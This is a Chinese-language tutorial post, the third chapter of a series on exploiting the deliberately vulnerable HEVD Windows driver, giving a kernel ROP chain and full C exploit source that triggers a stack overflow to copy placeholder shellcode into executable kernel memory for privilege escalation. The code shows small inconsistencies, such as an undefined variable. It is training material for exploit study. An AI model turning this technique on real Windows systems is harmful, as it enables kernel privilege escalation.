触发 shellcode
我们何时在此处构建有效负载?
到目前为止,我们已经了解了正确组装可用有效负载的基础知识。现在我们已经拥有了所有必要的工具,让我们最终创建我们的有效负载。愿原力与我们同在。如果您错过了之前的帖子,请务必查看它们。
我们的 ROP 链应如下所示:
xor ecx, ecx; ret; -> zeroes out our RCX register, which is the first parameter of AllocatePoolWithTag()
pop rdx; ret ; -> pops 0x1000 (4096) to rdx register, which is the second parameter of AllocatePoolWithTag() and indicates the size of the pool
0x1000 -> value of rdx
AllocatePoolWithTag() -> calls the AllocatePoolWithTag function. The address of the allocated pool will then be in rax
mov rcx, rax; ret; -> copies the address to rcx, which will be first parameter of memcpy
pop rdx; ret -> gets the source address from stack. This will be our shellcode in userland that will escalate privileges.
<address of shellcode location in userland>
pop r8; ret; -> gets the size from stack.
<size of our shellcode to be copied>
memcpy() -> calls the memcpy function and copies our payload to an executable kernel space
jmp rcx; -> jumps to a register which stores the address of our shellcode in kernel land
这听起来很复杂,而且可能不会那样工作。我们很可能不得不进行一些调整。然而,计划很简单:在 kernel land 中分配一个可写且可执行的位置,将我们的 payload 复制到该位置,然后跳转到那里。我们需要找到小工具来做我们想做的事。为此,我们将使用 ropper。该工具将通过帮助我们找到小工具来帮助我们完成 ROP 之旅。
我们可能会ntoskrnl.exe复制到安装了 rapper 的机器上,然后寻找小工具!
让我们开始吧!
这是我们得到的:
0x38cf53: xor ecx, ecx; mov rax, rcx; ret; -> Zeroes out rcx register. Also zeroes out rax, but that is ok. Couldn't find a gadget that just turned rcx into 0.
0x416748: pop rdx; ret; -> pops 0x1000 (4096), just like we planned
0x1000 -> value of rdx and size of the buffer
AllocatePoolWithTag(); -> function to allocate an executable pool
0xa155de: add rsp, 0x20; ret -> will be explained later
0x20a263: push rax; pop rbx; ret; -> Moving the address in rax to rbx for later use.
0x5af724: push rax; pop r13; ret; -> Moving the addres in rax to r13
0x2c0da6: xchg r8, r13; ret; -> Now exchanging values of r13 and r8
0x93ac7a: mov rcx, r8; mov rax, rcx; ret; -> Finally moving r8 to rcx, as we wished. A single gadget in our draft (mov rcx, rax; ret) was replaced by the last three gadgets. Gadgets are hard to find! We must improvise.
0x416748: pop rdx; ret; -> Popping the address of the shellcode to rdx
<ADDRESS OF SHELLCODE>
0x2017f1: pop r8; ret; -> Popping the size of the shellcode to r8
<SIZE OF SHELLCODE>
memcpy(); -> Address of memcpy function to copy our shellcode to the executable pool
0x408aa2: jmp rbx; -> Jumping to our shellcode. Remember we saved it for later use?
真是一团糟! 这看起来与我们预测的有效载荷相去甚远。它又乱又大。发生这种情况是因为很难找到完全适合我们需求的小工具。我们经常不得不妥协并接受一些附带损害。
还有一个问题。检查 ExAllocatePoolWithTag 的序言:
正如我们所看到的,它使用了带有影子空间的快速调用过程,也就是 home space。在此约定中,调用方必须在堆栈上为被调用方保留 32 个字节。对于 ExAllocatePoolWithTag,只需要 24 个字节。这意味着在 AllocatePoolWithTag 之后,我们必须确保将 0x18 添加到 rsp。我找到了一个可以做得很好。我将其放在 AllocatePoolWithTag 之后。 add rsp,0x20
以下是我们目前所拥有的:
#include <iostream>
#include <string>
#include <Windows.h>
#include <Psapi.h><F10>
#define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
//Gadgets
unsigned long long g_add_rsp_20h_ret = 0xa155de;
unsigned long long g_pop_rdi_pop_r14_pop_rbx_ret = 0x20a518;
unsigned long long g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53;
unsigned long long g_pop_rdx_ret = 0x416748;
unsigned long long g_push_rax_pop_rbx_ret = 0x20a263;
unsigned long long g_push_rax_pop_r13_ret = 0x5af724;
unsigned long long g_xchg_r8_r13_ret = 0x2c0da6;
unsigned long long g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a;
unsigned long long g_pop_r8_ret = 0x2017f1;
unsigned long long g_jmp_rbx = 0x408aa2;
unsigned long long kernel_ExAllocatePoolWithTag;
unsigned long long kernel_memcpy;
// This will store the pid for the process which privileges will be elevated
DWORD pid;
// Gets kernel base addr
unsigned long long get_kernel_base_addr() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (unsigned long long)drivers[0];
}
// Gets handle to driver
HANDLE get_handle() {
HANDLE h = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (h == INVALID_HANDLE_VALUE) {
printf("Failed to get handle =(n");
return NULL;
}
return h;
}
//Helper function to add gadget or address to payload and increment the offset automatically
void add_to_payload(char *in_buffer, SIZE_T *offset, unsigned long long *data, SIZE_T size)
{
memcpy(in_buffer + *offset, data, size);
printf("Wrote %lx to offset %un", *data, *offset);
*offset += size;
}
//Looks up a kernel symbol
PVOID get_kernel_symbol_addr(const char *symbol) {
PVOID kernelBaseAddr;
HMODULE userKernelHandle;
PCHAR functionAddress;
unsigned long long offset;
kernelBaseAddr = (PVOID)get_kernel_base_addr(); // Loaded kernel base address
userKernelHandle = LoadLibraryA("C:\Windows\System32\ntoskrnl.exe"); // Opens kernel binary as lib
if (userKernelHandle == INVALID_HANDLE_VALUE) {
return NULL;
}
functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol); // Locates the symbol address
if (functionAddress == NULL) {
return NULL;
}
offset = functionAddress - ((PCHAR)userKernelHandle); // Subtracts the library base address in memory from the function addresses.
return (PVOID)(((PCHAR)kernelBaseAddr) + offset); // Adds the offset to the leaked kernel base address
}
// Auxiliary function to adjust the offsets for all the gadgets and used functions
void adjust_offsets()
{
unsigned long long kernel_base_addr = get_kernel_base_addr();
g_xor_ecx_ecx_mov_rax_rcx_ret += kernel_base_addr;
g_pop_rdi_pop_r14_pop_rbx_ret += kernel_base_addr;
g_add_rsp_20h_ret += kernel_base_addr;
g_pop_rdx_ret += kernel_base_addr;
g_push_rax_pop_rbx_ret += kernel_base_addr;
g_push_rax_pop_r13_ret += kernel_base_addr;
g_xchg_r8_r13_ret += kernel_base_addr;
g_mov_rcx_r8_mov_rax_rcx_ret += kernel_base_addr;
g_pop_r8_ret += kernel_base_addr;
g_jmp_rbx += kernel_base_addr;
kernel_ExAllocatePoolWithTag = (unsigned long long) get_kernel_symbol_addr("ExAllocatePoolWithTag");
kernel_memcpy = (unsigned long long) get_kernel_symbol_addr("memcpy");
printf("Primary token: %xu n", (ULONGLONG)kernel_PsReferencePrimaryToken - kernel_base_addr);
printf("PsReferencePrimaryToken base addr: %xun", (ULONGLONG) kernel_PsReferencePrimaryToken - (ULONGLONG) kernel_base_addr);
}
//Spawns a new cmd and returns the pid for the process
DWORD spawnCmd() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
char cmd[] = "C:\Windows\System32\cmd.exe";
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
// Start the child process.
if (!CreateProcess(NULL, // No module name (use command line)
cmd, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_NEW_CONSOLE, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi) // Pointer to PROCESS_INFORMATION structure
)
{
printf("CreateProcess failed (%d).n", GetLastError());
return -1;
}
return pi.dwProcessId;
}
char *generate_shellcode() {
//Generates and returns a shellcode to be executed after the ROP chain. This shellcode must do heavy lifting to elevate privileges.
char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64);
memset(shellcode, 0xcc, 64);
return shellcode;
}
void do_buffer_overflow(HANDLE h)
{
SIZE_T in_buffer_size = 2072 + 8 * 15 + 0x20; // 2072 is the offset; there are 15 8-byte long gadgets and an add rsp, 0x20.
//Allocates memory for buffer
PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
//Fills with AAAAAAA...
memset((char *)in_buffer, 'A', in_buffer_size);
SIZE_T offset = 2072;
//Spawns cmd and adjusts the pid
pid = spawnCmd();
//Adjust gadgets offsets
adjust_offsets();
//Our shellcode to escalate privileges. To be crafted!
char *shellcode = generate_shellcode();
//Arbitrary size of our shellcode
unsigned long long size_of_copy = 0x100;
add_to_payload((char*)in_buffer, &offset, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
add_to_payload((char*)in_buffer, &offset, &kernel_ExAllocatePoolWithTag, 8);
add_to_payload((char*)in_buffer, &offset, &g_add_rsp_20h_ret, 8);
offset += 0x20;
add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_rbx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_r13_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_xchg_r8_r13_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_mov_rcx_r8_mov_rax_rcx_ret, 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
add_to_payload((char*)in_buffer, &offset, (unsigned long long *)(&shellcode), 8);
add_to_payload((char*)in_buffer, &offset, &g_pop_r8_ret, 8);
add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
add_to_payload((char*)in_buffer, &offset, &kernel_memcpy, 8);
add_to_payload((char*)in_buffer, &offset, &g_jmp_rbx, 8);
system("pause");
printf("Sending buffer.n");
//Sends buffer
bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
if (!result)
{
printf("IOCTL Failed: %Xn", GetLastError());
}
HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
}
int main(int argc, char **argv)
{
do_buffer_overflow(get_handle());
system("pause");
}
漏洞越来越大。让我解释一下我创建的一些函数:
add_to_payload
:您提供要写入的缓冲区、当前偏移量、要复制的值和大小。它将在提供的偏移量处复制提供给缓冲区的字节数,并将在 N 中增加偏移量,其中 N 是提供的大小。
generate_shellcode
:该函数会在 userland 中分配一个缓冲区,将 EoP 的 shellcode 放入其中并返回地址。我们的 ROP 链中的 Memcpy 会将 shellcode 从此函数中分配的地址复制到内核 RWX 区域。目前,它只会填充0xcc指令,在执行时触发陷阱。
spawnCmd
:这将生成一个新的 cmd 并返回其 PID。这将是我们将提升权限的过程。
adjust_offsets
:使用 Image Base Addr 调整所有偏移量的函数。
此漏洞将触发基于堆栈的溢出,该溢出将在堆栈中执行我们的 ROPChain。ROPChain 将分配可执行(和可写)空间来分配我们的 shellcode 并将其复制到分配的内存中。然后,它将跳转到这个内存区域并执行我们的 shellcode。shellcode 应包含说明,以提升我们进程的权限。到目前为止,你和我在一起吗? cmd
该漏洞应该会在 WinDBG 上触发一个陷阱。让我们试试:
我不相信这奏效了!调试器捕获了我们的陷阱。现在我们 “所有” 所要做的就是制作一个 shellcode 来提升权限并优雅地(或尽可能优雅地)返回 userland。
原文始发于微信公众号(sec0nd安全):[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论